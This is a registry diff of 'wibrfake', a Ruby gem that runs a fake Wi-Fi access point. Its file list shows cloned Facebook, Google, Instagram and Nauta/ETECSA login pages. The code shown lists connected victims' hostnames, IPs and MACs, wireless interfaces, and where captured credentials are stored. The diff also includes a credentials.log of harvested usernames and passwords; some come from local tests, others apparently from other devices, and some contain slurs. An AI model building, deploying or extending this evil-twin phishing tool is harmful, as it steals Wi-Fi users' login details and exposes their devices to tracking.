wibrfake-brk 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (275) hide show
  1. checksums.yaml +7 -0
  2. data/.dockerignore +48 -0
  3. data/.gitattributes +19 -0
  4. data/.github/dependabot.yml +12 -0
  5. data/.github/workflows/ci.yml +90 -0
  6. data/.rubocop.yml +8 -0
  7. data/.ruby-version +1 -0
  8. data/Dockerfile +69 -0
  9. data/Gemfile +68 -0
  10. data/README.md +188 -0
  11. data/Rakefile +6 -0
  12. data/app/assets/config/manifest.js +5 -0
  13. data/app/assets/images/.keep +0 -0
  14. data/app/assets/images/2024-12-30-07:58:34-screenshot.png +0 -0
  15. data/app/assets/images/facebook/facebook-logo.svg +3 -0
  16. data/app/assets/images/google/googlelogo_color_272x92dp.png +0 -0
  17. data/app/assets/images/instagram/app-store.png +0 -0
  18. data/app/assets/images/instagram/google-play.png +0 -0
  19. data/app/assets/images/instagram/instagram-logo.png +0 -0
  20. data/app/assets/images/instagram/screenshot1.png +0 -0
  21. data/app/assets/images/instagram/screenshot2.png +0 -0
  22. data/app/assets/images/instagram/screenshot3.png +0 -0
  23. data/app/assets/images/instagram/screenshot4.png +0 -0
  24. data/app/assets/images/nauta_etecsa/CUBADEBATE.jpg +0 -0
  25. data/app/assets/images/nauta_etecsa/CUBAEDUCA.jpg +0 -0
  26. data/app/assets/images/nauta_etecsa/CUBARTE.jpg +0 -0
  27. data/app/assets/images/nauta_etecsa/CUBASI.jpg +0 -0
  28. data/app/assets/images/nauta_etecsa/ECURED.jpg +0 -0
  29. data/app/assets/images/nauta_etecsa/OFERTAS.jpg +0 -0
  30. data/app/assets/images/nauta_etecsa/PAPELETA.jpg +0 -0
  31. data/app/assets/images/nauta_etecsa/contenedor_bg.jpg +0 -0
  32. data/app/assets/images/nauta_etecsa/etecsa.jpg +0 -0
  33. data/app/assets/images/nauta_etecsa/nauta_wifi.jpg +0 -0
  34. data/app/assets/images/nauta_hogar/CUBADEBATE.jpg +0 -0
  35. data/app/assets/images/nauta_hogar/CUBAEDUCA.jpg +0 -0
  36. data/app/assets/images/nauta_hogar/CUBARTE.jpg +0 -0
  37. data/app/assets/images/nauta_hogar/CUBASI.jpg +0 -0
  38. data/app/assets/images/nauta_hogar/ECURED.jpg +0 -0
  39. data/app/assets/images/nauta_hogar/OFERTAS.jpg +0 -0
  40. data/app/assets/images/nauta_hogar/PAPELETA.jpg +0 -0
  41. data/app/assets/images/nauta_hogar/banner_hogar.png +0 -0
  42. data/app/assets/images/wibrfake/Breaker-Wallpaper1.jpg +0 -0
  43. data/app/assets/images/wibrfake/mac-list-parameter.png +0 -0
  44. data/app/assets/images/wibrfake/wibrfake-100x100.png +0 -0
  45. data/app/assets/images/wibrfake/wibrfake-32x32.png +0 -0
  46. data/app/assets/images/wibrfake/wibrfake-48x48.png +0 -0
  47. data/app/assets/images/wibrfake/wibrfake-apfake-on.png +0 -0
  48. data/app/assets/images/wibrfake/wibrfake-apfake-set-basic.png +0 -0
  49. data/app/assets/images/wibrfake/wibrfake-apfake-show.png +0 -0
  50. data/app/assets/images/wibrfake/wibrfake-help.png +0 -0
  51. data/app/assets/images/wibrfake/wibrfake-hostpot.png +0 -0
  52. data/app/assets/images/wibrfake/wibrfake-init.png +0 -0
  53. data/app/assets/images/wibrfake/wibrfake-init2.png +0 -0
  54. data/app/assets/images/wibrfake/wibrfake-login-basic.jpg +0 -0
  55. data/app/assets/images/wibrfake/wibrfake-mac-list.png +0 -0
  56. data/app/assets/images/wibrfake/wibrfake-mac-ramset-oui.png +0 -0
  57. data/app/assets/images/wibrfake/wibrfake-mac-ramset.png +0 -0
  58. data/app/assets/images/wibrfake/wibrfake-mac-set.png +0 -0
  59. data/app/assets/images/wibrfake/wibrfake-mac-show.png +0 -0
  60. data/app/assets/images/wibrfake/wibrfake-need-signin.jpg +0 -0
  61. data/app/assets/images/wibrfake/wibrfake-session-active.png +0 -0
  62. data/app/assets/images/wibrfake/wibrfake-session-init.png +0 -0
  63. data/app/assets/images/wibrfake/wibrfake-session-list.png +0 -0
  64. data/app/assets/images/wibrfake/wibrfake-session-new.png +0 -0
  65. data/app/assets/images/wibrfake/wibrfake-session-rename.png +0 -0
  66. data/app/assets/images/wibrfake/wibrfake-session-save.png +0 -0
  67. data/app/assets/images/wibrfake/wibrfake-web-server-apfake.png +0 -0
  68. data/app/assets/images/wibrfake/wibrfake-web-server-on.png +0 -0
  69. data/app/assets/images/wibrfake/wibrfake-web-server-show.png +0 -0
  70. data/app/assets/images/wibrfake/wibrfake-wkdump-loaded.png +0 -0
  71. data/app/assets/images/wibrfake/wibrfake-wkdump.png +0 -0
  72. data/app/assets/images/wibrfake/wibrfake.png +0 -0
  73. data/app/assets/stylesheets/application.css +15 -0
  74. data/app/assets/stylesheets/basic/page_basic.css +0 -0
  75. data/app/assets/stylesheets/facebook/page_facebook.css +93 -0
  76. data/app/assets/stylesheets/google/page_google.css +137 -0
  77. data/app/assets/stylesheets/instagram/page_instagram.css +94 -0
  78. data/app/assets/stylesheets/nauta_etecsa/page_nauta.css +325 -0
  79. data/app/assets/stylesheets/nauta_hogar/page_nauta.css +469 -0
  80. data/app/assets/stylesheets/wibrfake/page_wibrfake.css +1181 -0
  81. data/app/assets/stylesheets/wibrfake/page_wibrfake_about.css +486 -0
  82. data/app/channels/application_cable/channel.rb +4 -0
  83. data/app/channels/application_cable/connection.rb +4 -0
  84. data/app/controllers/application_controller.rb +15 -0
  85. data/app/controllers/concerns/.keep +0 -0
  86. data/app/controllers/sessions_controller.rb +111 -0
  87. data/app/helpers/application_helper.rb +2 -0
  88. data/app/helpers/sessions_helper.rb +2 -0
  89. data/app/javascript/application.js +3 -0
  90. data/app/javascript/bootstrap.bundle.min.js +7 -0
  91. data/app/javascript/controllers/application.js +9 -0
  92. data/app/javascript/controllers/hello_controller.js +7 -0
  93. data/app/javascript/controllers/index.js +4 -0
  94. data/app/javascript/google/page_google.js +50 -0
  95. data/app/javascript/incorrect3.js +29 -0
  96. data/app/javascript/page_wibrfake.js +50 -0
  97. data/app/javascript/page_wibrfake_about.js +147 -0
  98. data/app/jobs/application_job.rb +7 -0
  99. data/app/mailers/application_mailer.rb +4 -0
  100. data/app/models/application_record.rb +3 -0
  101. data/app/models/concerns/.keep +0 -0
  102. data/app/models/user.rb +6 -0
  103. data/app/views/layouts/application.html.erb +33 -0
  104. data/app/views/layouts/mailer.html.erb +13 -0
  105. data/app/views/layouts/mailer.text.erb +1 -0
  106. data/app/views/pwa/manifest.json.erb +22 -0
  107. data/app/views/pwa/service-worker.js +26 -0
  108. data/app/views/sessions/basic/basic.html.erb +21 -0
  109. data/app/views/sessions/facebook/facebook.html.erb +132 -0
  110. data/app/views/sessions/google/google.html.erb +72 -0
  111. data/app/views/sessions/index.html.erb +11 -0
  112. data/app/views/sessions/instagram/instagram.html.erb +69 -0
  113. data/app/views/sessions/nauta_etecsa/nauta_etecsa.html.erb +97 -0
  114. data/app/views/sessions/nauta_hogar/nauta_hogar.html.erb +135 -0
  115. data/app/views/sessions/wibrfake/about/about.html.erb +164 -0
  116. data/app/views/sessions/wibrfake/wibrfake.html.erb +417 -0
  117. data/bin/.names.rb.swp +0 -0
  118. data/bin/brakeman +7 -0
  119. data/bin/bundle +114 -0
  120. data/bin/docker-entrypoint +13 -0
  121. data/bin/google.wkdump +3 -0
  122. data/bin/importmap +4 -0
  123. data/bin/rails +4 -0
  124. data/bin/rake +4 -0
  125. data/bin/rubocop +8 -0
  126. data/bin/setup +37 -0
  127. data/bin/wibrfake +20 -0
  128. data/config/application.rb +26 -0
  129. data/config/boot.rb +4 -0
  130. data/config/cable.yml +10 -0
  131. data/config/credentials.yml.enc +1 -0
  132. data/config/database.yml +16 -0
  133. data/config/environment.rb +5 -0
  134. data/config/environments/development.rb +85 -0
  135. data/config/environments/production.rb +105 -0
  136. data/config/environments/test.rb +67 -0
  137. data/config/icons/application-x-wkdump.xml +13 -0
  138. data/config/icons/hicolor/16x16/mimetypes/application-x-wkdump.png +0 -0
  139. data/config/icons/hicolor/32x32/mimetypes/application-x-wkdump.png +0 -0
  140. data/config/icons/hicolor/48x48/mimetypes/application-x-wkdump.png +0 -0
  141. data/config/icons/hicolor/icon-theme.cache +0 -0
  142. data/config/icons/hicolor/index.theme +20 -0
  143. data/config/icons/wkdump.desktop +5 -0
  144. data/config/importmap.rb +7 -0
  145. data/config/initializers/assets.rb +12 -0
  146. data/config/initializers/content_security_policy.rb +25 -0
  147. data/config/initializers/devise.rb +313 -0
  148. data/config/initializers/filter_parameter_logging.rb +8 -0
  149. data/config/initializers/inflections.rb +16 -0
  150. data/config/initializers/permissions_policy.rb +13 -0
  151. data/config/locales/devise.en.yml +65 -0
  152. data/config/locales/en.yml +31 -0
  153. data/config/puma.rb +35 -0
  154. data/config/routes.rb +12 -0
  155. data/config/storage.yml +34 -0
  156. data/config.ru +6 -0
  157. data/db/development.sqlite3 +0 -0
  158. data/db/schema.rb +14 -0
  159. data/ext/wibrfake/extconf.rb +3 -0
  160. data/ext/wibrfake/wibrfake.h +0 -0
  161. data/images/ouilist.png +0 -0
  162. data/images/wibrfakehelp.png +0 -0
  163. data/images/wibrfakeinit.png +0 -0
  164. data/lib/assets/.keep +0 -0
  165. data/lib/tasks/.keep +0 -0
  166. data/lib/wibrfake/Config/ipaddr.rb +71 -0
  167. data/lib/wibrfake/Config/options.rb +98 -0
  168. data/lib/wibrfake/Config/security_wpa.rb +43 -0
  169. data/lib/wibrfake/DataBase/howuis.db +0 -0
  170. data/lib/wibrfake/DataBase/ouis.db +0 -0
  171. data/lib/wibrfake/DataBase/ouis.rb +24 -0
  172. data/lib/wibrfake/DataBase/rename.rb +15 -0
  173. data/lib/wibrfake/DataBase/show.rb +18 -0
  174. data/lib/wibrfake/Dnsmasq/dhcp.rb +149 -0
  175. data/lib/wibrfake/Dnsmasq/dhcp_prueba.rb +135 -0
  176. data/lib/wibrfake/Dnsmasq/dns.rb +34 -0
  177. data/lib/wibrfake/Dnsmasq/dns_prueba.rb +36 -0
  178. data/lib/wibrfake/Dnsmasq/dnsmasq.rb +33 -0
  179. data/lib/wibrfake/Listing/apfake.rb +28 -0
  180. data/lib/wibrfake/Listing/clients.rb +76 -0
  181. data/lib/wibrfake/Listing/ouis.rb +53 -0
  182. data/lib/wibrfake/Listing/process.rb +14 -0
  183. data/lib/wibrfake/Listing/sessions.rb +47 -0
  184. data/lib/wibrfake/Listing/web_server.rb +17 -0
  185. data/lib/wibrfake/Listing/wireless.rb +30 -0
  186. data/lib/wibrfake/Logs/credentials.log +59 -0
  187. data/lib/wibrfake/NetworkInterface/ip-routing.rb +99 -0
  188. data/lib/wibrfake/NetworkInterface/mac.rb +114 -0
  189. data/lib/wibrfake/NetworkInterface/monitor.rb +44 -0
  190. data/lib/wibrfake/NetworkInterface/ouis.db +0 -0
  191. data/lib/wibrfake/Process/id.rb +11 -0
  192. data/lib/wibrfake/Process/pids.log +5 -0
  193. data/lib/wibrfake/Process/pkill.rb +124 -0
  194. data/lib/wibrfake/Process/processes.rb +76 -0
  195. data/lib/wibrfake/Rails/login.rb +20 -0
  196. data/lib/wibrfake/Rails/routes.rb +76 -0
  197. data/lib/wibrfake/Rails/service.rb +58 -0
  198. data/lib/wibrfake/Rails/service_usage.rb +46 -0
  199. data/lib/wibrfake/Sessions/session.rb +188 -0
  200. data/lib/wibrfake/String/string.rb +109 -0
  201. data/lib/wibrfake/Tmp/config.yml +1 -0
  202. data/lib/wibrfake/config.rb +24 -0
  203. data/lib/wibrfake/help.rb +107 -0
  204. data/lib/wibrfake/optionpr.rb +68 -0
  205. data/lib/wibrfake/run.rb +9 -0
  206. data/lib/wibrfake/ty/apld.rb +110 -0
  207. data/lib/wibrfake/ty/prompt/answers_collector.rb +78 -0
  208. data/lib/wibrfake/ty/prompt/block_paginator.rb +59 -0
  209. data/lib/wibrfake/ty/prompt/choice.rb +147 -0
  210. data/lib/wibrfake/ty/prompt/choices.rb +129 -0
  211. data/lib/wibrfake/ty/prompt/confirm_question.rb +158 -0
  212. data/lib/wibrfake/ty/prompt/const.rb +17 -0
  213. data/lib/wibrfake/ty/prompt/converter_dsl.rb +21 -0
  214. data/lib/wibrfake/ty/prompt/converter_registry.rb +69 -0
  215. data/lib/wibrfake/ty/prompt/converters.rb +182 -0
  216. data/lib/wibrfake/ty/prompt/distance.rb +49 -0
  217. data/lib/wibrfake/ty/prompt/enum_list.rb +433 -0
  218. data/lib/wibrfake/ty/prompt/errors.rb +31 -0
  219. data/lib/wibrfake/ty/prompt/evaluator.rb +29 -0
  220. data/lib/wibrfake/ty/prompt/expander.rb +321 -0
  221. data/lib/wibrfake/ty/prompt/keypress.rb +98 -0
  222. data/lib/wibrfake/ty/prompt/list.rb +589 -0
  223. data/lib/wibrfake/ty/prompt/mask_question.rb +96 -0
  224. data/lib/wibrfake/ty/prompt/multi_list.rb +224 -0
  225. data/lib/wibrfake/ty/prompt/multiline.rb +72 -0
  226. data/lib/wibrfake/ty/prompt/paginator.rb +111 -0
  227. data/lib/wibrfake/ty/prompt/question/checks.rb +105 -0
  228. data/lib/wibrfake/ty/prompt/question/modifier.rb +96 -0
  229. data/lib/wibrfake/ty/prompt/question/validation.rb +72 -0
  230. data/lib/wibrfake/ty/prompt/question.rb +391 -0
  231. data/lib/wibrfake/ty/prompt/result.rb +42 -0
  232. data/lib/wibrfake/ty/prompt/selected_choices.rb +77 -0
  233. data/lib/wibrfake/ty/prompt/slider.rb +286 -0
  234. data/lib/wibrfake/ty/prompt/statement.rb +55 -0
  235. data/lib/wibrfake/ty/prompt/suggestion.rb +113 -0
  236. data/lib/wibrfake/ty/prompt/symbols.rb +89 -0
  237. data/lib/wibrfake/ty/prompt/test.rb +36 -0
  238. data/lib/wibrfake/ty/prompt/timer.rb +75 -0
  239. data/lib/wibrfake/ty/prompt/utils.rb +42 -0
  240. data/lib/wibrfake/ty/prompt/version.rb +7 -0
  241. data/lib/wibrfake/ty/prompt.rb +589 -0
  242. data/lib/wibrfake/version.rb +5 -0
  243. data/lib/wibrfake/wibrfake_cli.rb +683 -0
  244. data/log/.keep +0 -0
  245. data/pruebas/daemon1.pid +1 -0
  246. data/pruebas/daemon2.pid +1 -0
  247. data/pruebas/daemons.rb +44 -0
  248. data/public/404.html +67 -0
  249. data/public/406-unsupported-browser.html +66 -0
  250. data/public/422.html +67 -0
  251. data/public/500.html +66 -0
  252. data/public/icon.png +0 -0
  253. data/public/icon.svg +3 -0
  254. data/public/robots.txt +1 -0
  255. data/storage/.keep +0 -0
  256. data/test/application_system_test_case.rb +5 -0
  257. data/test/channels/application_cable/connection_test.rb +13 -0
  258. data/test/controllers/.keep +0 -0
  259. data/test/controllers/sessions_controller_test.rb +7 -0
  260. data/test/fixtures/files/.keep +0 -0
  261. data/test/fixtures/users.yml +11 -0
  262. data/test/helpers/.keep +0 -0
  263. data/test/integration/.keep +0 -0
  264. data/test/mailers/.keep +0 -0
  265. data/test/models/.keep +0 -0
  266. data/test/models/user_test.rb +7 -0
  267. data/test/system/.keep +0 -0
  268. data/test/test_helper.rb +15 -0
  269. data/tmp/.keep +0 -0
  270. data/tmp/pids/.keep +0 -0
  271. data/tmp/storage/.keep +0 -0
  272. data/vendor/.keep +0 -0
  273. data/vendor/javascript/.keep +0 -0
  274. data/wibrfake.gemspec +49 -0
  275. metadata +743 -0
@@ -0,0 +1,76 @@
1
+ module WibrFake
2
+ class Listing
3
+ def self.clients_connected(id: nil)
4
+ begin
5
+ dispositivos = Array.new
6
+ File.open(File.join(File.dirname(__FILE__), '..', 'Tmp', id, 'clients', 'clients_connected.log'), 'r'){|file|
7
+ file.each{|line|
8
+ dispositivos << {hostname: line.split(', ')[0], ip: line.split(', ')[1], mac: line.split(', ')[2].chomp}
9
+ }
10
+ }
11
+ if(dispositivos.empty?)
12
+ warn "\n\e[1;33m[\e[1;37m!\e[1;33m]\e[1;37m No connected devices"
13
+ else
14
+ puts "\n"
15
+ puts "\033[48;5;236m=" * 87
16
+ puts "|" + " " + "#{"\033[38;5;196mID\e[1;37m"} | #{' ' * 8 + "\033[38;5;51mHostname\e[1;37m" + ' ' * 8} | #{' ' * 10 + "\033[38;5;118mIP\e[1;37m" + ' ' * 10} | #{' ' * 12 + "\033[38;5;214mMac\e[1;37m" + ' ' * 12 + "|"}"
17
+ puts "|" + "-" * 86
18
+ dispositivos.each_with_index{|client, index|
19
+ index += 1
20
+ puts "|" + ' ' * 2 + "#{index.to_s} | #{' ' * 4 + client[:hostname].ljust(18) + ' ' * 2} | #{' ' * 5 + client[:ip].ljust(16) + " "} | #{' ' * 5 + client[:mac].ljust(10) + " " * 5 + "|"}"
21
+ }
22
+ puts "=" * 87
23
+ end
24
+ rescue Errno::ENOENT
25
+ warn "\n\e[1;33m[\e[1;37m!\e[1;33m]\e[1;37m No connected devices"
26
+ end
27
+ end
28
+ def self.clients_disconnected(id: nil)
29
+ begin
30
+ dispositivos = Array.new
31
+ File.open(File.join(File.dirname(__FILE__), '..', 'Tmp', id, 'clients', 'clients_disconnected.log'), 'r'){|file|
32
+ file.each{|line|
33
+ dispositivos << {hostname: line.split(', ')[0], ip: line.split(', ')[1], mac: line.split(', ')[2].chomp}
34
+ }
35
+ }
36
+ if(dispositivos.empty?)
37
+ warn "\n\e[1;33m[\e[1;37m!\e[1;33m]\e[1;37m No devices are disconnected, so there are no logs of disconnected devices"
38
+ else
39
+ puts "\n"
40
+ puts "\033[48;5;236m=" * 87
41
+ puts "|" + " " + "#{"\033[38;5;196mID\e[1;37m"} | #{' ' * 8 + "\033[38;5;196mHostname\e[1;37m" + ' ' * 8} | #{' ' * 10 + "\033[38;5;196mIP\e[1;37m" + ' ' * 10} | #{' ' * 12 + "\033[38;5;196mMac\e[1;37m" + ' ' * 12 + "|"}"
42
+ puts "|" + "-" * 86
43
+ dispositivos.each_with_index{|client, index|
44
+ index += 1
45
+ puts "|" + ' ' * 2 + "#{index.to_s} | #{' ' * 4 + client[:hostname].ljust(18) + ' ' * 2} | #{' ' * 5 + client[:ip].ljust(16) + " "} | #{' ' * 5 + client[:mac].ljust(10) + " " * 5 + "|"}"
46
+ }
47
+ puts "=" * 87
48
+ end
49
+ rescue Errno::ENOENT
50
+ warn "\n\e[1;33m[\e[1;37m!\e[1;33m]\e[1;37m No devices are disconnected, so there are no logs of disconnected devices"
51
+ end
52
+ end
53
+ def self.clients_logs(id: nil)
54
+ begin
55
+ dispositivos = Array.new
56
+ File.open(File.join(File.dirname(__FILE__), '..', 'Tmp', id, 'clients', 'clients.log'), 'r'){|file|
57
+ file.each{|line|
58
+ dispositivos << {time: line.split(',')[0].gsub('-0500', '').split.join(' '), hostname: line.split(',')[1].split[1], ip: line.split(',')[2].split[1], mac: line.split(',')[3].split[1], status: line.split(',')[4].split.join}
59
+ }
60
+ }
61
+ if(dispositivos.empty?)
62
+ warn "\n\e[1;33m[\e[1;37m!\e[1;33m]\e[1;37m there is no record of devices that have interacted"
63
+ else
64
+ puts "\n"
65
+ puts " " * 7 + "#{'Time' + ' ' * 18} #{' ' + 'Hostname' + ' ' * 12} #{'IP' + ' ' * 17} #{'Mac' + ' ' * 14} #{'Status' + ' ' * 6}"
66
+ puts " " * 7 + "----" + " " * 19 + "--------------" + ' ' * 10 + '------' + ' ' * 13 + '--------------' + ' ' * 10 + '--------'
67
+ dispositivos.each{|client|
68
+ puts "#{client[:time]}" + ' ' * 2 + "#{' ' * 8 + "#{client[:hostname]}".ljust(19)} #{"#{client[:ip]}".ljust(13) + ' '} #{' ' * 4 + "#{client[:mac]}".ljust(17) + ' ' } #{' ' * 5 + "#{client[:status]}".ljust(10) + ' ' * 6}"
69
+ }
70
+ end
71
+ rescue Errno::ENOENT
72
+ warn "\n\e[1;33m[\e[1;37m!\e[1;33m]\e[1;37m There is no record of devices that have interacted"
73
+ end
74
+ end
75
+ end
76
+ end
@@ -0,0 +1,53 @@
1
+ require 'sqlite3'
2
+
3
+ module WibrFake
4
+ class Listing
5
+ def self.ouis_mac(filter=0, show_all=true)
6
+ database = SQLite3::Database.new(File.join(File.dirname(__FILE__), '../DataBase/ouis.db'))
7
+ show_ouis = database.execute("SELECT * FROM ouis_mac")
8
+ puts " " * 2 + "#{'ID' + ' ' * 3} | #{' ' + 'OUIs' + ' ' * 27} | #{'Organization' + ' ' * 6}"
9
+ puts "=" * 8 + "+" + "=" * 34 + "+" + "=" * 20
10
+ salt = " "
11
+ if(show_all==true)
12
+ show_ouis.each {|info_oui|
13
+ puts " " * 2 + "#{info_oui[0]}" + " " * 4 + salt + "|" + " " * 2 + "#{info_oui[1].ljust(31)} | #{info_oui[2].ljust(8)}"
14
+ }
15
+ else
16
+ if(filter =~ /^[a-z]+$/)
17
+ puts "Continuara..."
18
+ elsif(filter =~ /^\d+\.\.\d+$/)
19
+ start, finish = filter.split('..').map(&:to_i)
20
+ range = (start..finish)
21
+ range.each {|r|
22
+ if(r>=0) and (r<=9)
23
+ salt_number = 4
24
+ elsif(r>=10) and (r<=99)
25
+ salt_number = 3
26
+ elsif(r>=100) and (r<=999)
27
+ salt_number = 2
28
+ elsif(r>=1000) and (r<=9999)
29
+ salt_number = 1
30
+ else
31
+ salt_number = 0
32
+ end
33
+ puts " " * 2 + "#{show_ouis[r-1][0]}" + " " * salt_number + salt + "|" + " " * 2 + "#{show_ouis[r-1][1].ljust(31)} | #{show_ouis[r-1][2].ljust(8)}"
34
+ }
35
+ else
36
+ filter = filter.to_i
37
+ if(filter>=0) and (filter<=9)
38
+ salt_number = 4
39
+ elsif(filter>=10) and (filter<=99)
40
+ salt_number = 3
41
+ elsif(filter>=100) and (filter<=999)
42
+ salt_number = 2
43
+ elsif(filter>=1000) and (filter<=9999)
44
+ salt_number = 1
45
+ else
46
+ salt_number = 0
47
+ end
48
+ puts " " * 2 + "#{show_ouis[filter-1][0]}" + " " * salt_number + salt + "|" + " " * 2 + "#{show_ouis[filter-1][1].ljust(31)} | #{show_ouis[filter-1][2].ljust(8)}"
49
+ end
50
+ end
51
+ end
52
+ end
53
+ end
@@ -0,0 +1,14 @@
1
+ require_relative '../NetworkInterface/monitor'
2
+ require_relative '../Process/processes'
3
+ module WibrFake
4
+ class Listing
5
+ def self.show_process(iface)
6
+ puts " " * 2 + "#{'Name' + ' ' * 20} | #{' ' + 'status' + ' ' * 20} | #{'Description' + ' ' * 6}"
7
+ puts " " * 2 + "----" + " " * 23 + "---------------" + " " * 13 + "---------------"
8
+ puts
9
+ puts " monitor" + " " * 21 + WibrFake::Monitor.status(iface, 1).ljust(3) + " " * 26 + "Status of mode monitor"
10
+ puts " web_server" + " " * 18 + WibrFake::Processes.status("server", 1).ljust(3) + " " * 26 + "Status of web server"
11
+ puts " apfake" + " " * 22 + WibrFake::Processes.status("hostapd", 1).ljust(3) + " " * 26 + "Status of the point access"
12
+ end
13
+ end
14
+ end
@@ -0,0 +1,47 @@
1
+ module WibrFake
2
+ class Listing
3
+ def self.sessions_list(id: nil)
4
+ sessions = Array.new
5
+ show_sessions = Array.new
6
+ Dir.each_child(File.join(File.dirname(__FILE__), '..', 'Tmp')){|directory|
7
+ if(Dir.exist?(File.join(File.dirname(__FILE__), '..', 'Tmp', directory)))
8
+ sessions << directory
9
+ end
10
+ }
11
+ if(sessions.nil?)
12
+ puts "Ninguna sesion de wibrfake esta activa"
13
+ else
14
+ puts cabecera = "\033[38;5;118mActivated sessions\e[1;37m".center(110)
15
+ puts "-" * 100
16
+ sessions.each_with_index{|session, index|
17
+ config_yml = YAML.load_file(File.join(File.dirname(__FILE__), '..', 'Tmp', session, 'config.yml'))
18
+ if(session==id)
19
+ show_sessions << {index: index+1, session: session, current: true, actived: config_yml['session']['session_save'], modified: config_yml['session']['session_modified']}
20
+ else
21
+ show_sessions << {index: index+1, session: session, current: false, actived: config_yml['session']['session_save'], modified: config_yml['session']['session_modified']}
22
+ end
23
+ }
24
+ show_sessions.each{|session|
25
+ actived = session[:actived]? "\033[38;5;46mActived\e[1;37m".ljust(28): "\033[38;5;196mNot actived\e[1;37m".ljust(28)
26
+ modified = session[:modified]? "\033[38;5;196mModified\e[1;37m".ljust(10):"\033[38;5;46mSaved\e[1;37m".ljust(10)
27
+ name = "\033[38;5;196m#{session[:current]? 'session >':''} \e[1;37m#{session[:session]}"
28
+ puts "#{name.ljust(71) + ' '} #{' ' * 10 + '|' + ' ' * 2 + actived + ' ' } #{' ' * 5 + '|' + ' ' * 2 + modified + ' ' * 6}"
29
+ }
30
+ end
31
+ return sessions
32
+ end
33
+ def self.sessions_list_return
34
+ sessions = Array.new
35
+ Dir.each_child(File.join(File.dirname(__FILE__), '..', 'Tmp')){|directory|
36
+ if(Dir.exist?(File.join(File.dirname(__FILE__), '..', 'Tmp', directory)))
37
+ sessions << directory
38
+ end
39
+ }
40
+ if(sessions.nil?)
41
+ puts "Ninguna sesion de wibrfake esta activa"
42
+ else
43
+ return sessions
44
+ end
45
+ end
46
+ end
47
+ end
@@ -0,0 +1,17 @@
1
+ module WibrFake
2
+ class Listing
3
+ def self.web_server_show(configAP)
4
+ puts "Set options for the server:"
5
+ puts
6
+ puts " " * 2 + "#{'Name' + ' ' * 6} | #{' ' + 'Current Setting' + ' ' * 6} | #{'Required' + ' ' * 6} | #{'Description' + ' ' * 6}"
7
+ puts " " * 2 + "----" + " " * 10 + "---------------"
8
+ puts " login" + " " * 9 + configAP.login.to_s.ljust(26) + "yes".ljust(3) + " " * 12 + "Login to be used by the web server"
9
+ puts " route" + " " * 9 + configAP.login_route.to_s.ljust(26) + "yes".ljust(3) + " " * 12 + "Web Server Page Path"
10
+ puts " host" + " " * 10 + configAP.host_server.ljust(26) + "yes".ljust(3) + " " * 12 + "Hosting to be used by the web server"
11
+ puts " port" + " " * 10 + configAP.port.to_s.ljust(26) + "yes".ljust(3) + " " * 12 + "Port to be used by the web server"
12
+ puts " credentials" + " " * 3 + configAP.path_credential.to_s.ljust(26) + "no".ljust(3) + " " * 12 + "Path where credentials will be saved"
13
+ puts "-" * 70
14
+ puts "Link: http://#{configAP.host_server}:#{configAP.port.to_s}/#{configAP.login_route.to_s}"
15
+ end
16
+ end
17
+ end
@@ -0,0 +1,30 @@
1
+ module WibrFake
2
+ class Listing
3
+ def self.wireless
4
+ stdout_ifaces, stderr_ifaces, status_ifaces = Open3.capture3('iw dev')
5
+ if status_ifaces.success?
6
+ ifaces = []
7
+ stdout_ifaces.each_line{|line|
8
+ if line =~ /^\s*Interface\s+(\S+)/
9
+ ifaces << $1
10
+ end
11
+ }
12
+ if ifaces.empty?
13
+ puts "no se encontraron interfaces"
14
+ else
15
+ puts "List of network interfaces available for use:\n"
16
+ ifaces.each {|line|
17
+ stdout_type, stderr_type, status_type = Open3.capture3("iw dev #{line} info")
18
+ if(status_type.success?)
19
+ if stdout_type.include?('type managed')
20
+ puts " " * 4 + "* #{line}\n" + " " * 8 + "type managed"
21
+ elsif stdout_type.include?('type monitor')
22
+ puts " " * 4 + "* #{line}\n" + " " * 8 + "type monitor"
23
+ end
24
+ end
25
+ }
26
+ end
27
+ end
28
+ end
29
+ end
30
+ end
@@ -0,0 +1,59 @@
1
+ 2025-02-18 07:36:59 -0500 IP: 127.0.0.1, Username: aprobadocon3, Email: , Password: aprobadocon3
2
+ 2025-02-18 07:58:02 -0500 IP: 127.0.0.1, Username: nanoprueba1, Email: , Password: nanoprueba1
3
+ 2025-02-18 07:58:43 -0500 IP: 127.0.0.1, Username: nano@nauta.com.cu, Email: , Password: estaesmicontrasena
4
+ 2025-02-18 08:00:46 -0500 IP: 127.0.0.1, Username: loginbasico, Email: , Password: loginbasnascnjasnckjna
5
+ 2025-02-18 09:40:07 -0500 IP: 127.0.0.1, Username: andyperez@nauta.com.cu, Email: , Password: estaesmicontrasena
6
+ 2025-02-18 09:40:20 -0500 IP: 127.0.0.1, Username: andype, Email: , Password: estaesmicontrasena
7
+ 2025-02-18 09:53:00 -0500 IP: 192.168.174.84, Username: HolaMundo@nauta.com.cu, Email: , Password: micontraseña
8
+ 2025-02-19 06:51:19 -0500 IP: 172.168.1.222, Username: Lapingamia, Email: , Password: breakeresgay
9
+ 2025-02-19 06:51:33 -0500 IP: 172.168.1.222, Username: Lapingamia, Email: , Password: breakeresgay
10
+ 2025-02-19 06:52:07 -0500 IP: 172.168.1.222, Username: Nxdjnd, Email: , Password: jdjd
11
+ 2025-02-19 06:53:18 -0500 IP: 172.168.1.151, Username: Christianesgay, Email: , Password: jsjsksnsbd
12
+ 2025-02-19 07:05:54 -0500 IP: 172.168.1.107, Username: Maricona.cu, Email: , Password: el chicleeeeee
13
+ 2025-02-22 17:03:19 -0500 IP: 192.168.1.3, Username: , Email: , Password:
14
+ 2025-02-22 17:04:16 -0500 IP: 192.168.1.3, Username: , Email: , Password:
15
+ 2025-02-22 17:04:41 -0500 IP: 192.168.1.3, Username: , Email: , Password:
16
+ 2025-02-22 19:25:38 -0500 IP: 192.168.1.2, Username: Jdjsjsj, Email: , Password: jdjdjdjd
17
+ 2025-02-26 07:28:32 -0500 IP: 127.0.0.1, Username: , Email: , Password:
18
+ 2025-02-26 07:28:33 -0500 IP: 127.0.0.1, Username: , Email: , Password:
19
+ 2025-02-26 07:28:37 -0500 IP: 127.0.0.1, Username: , Email: , Password:
20
+ 2025-02-26 07:28:37 -0500 IP: 127.0.0.1, Username: , Email: , Password:
21
+ 2025-02-26 07:28:38 -0500 IP: 127.0.0.1, Username: , Email: , Password:
22
+ 2025-02-26 07:28:39 -0500 IP: 127.0.0.1, Username: , Email: , Password:
23
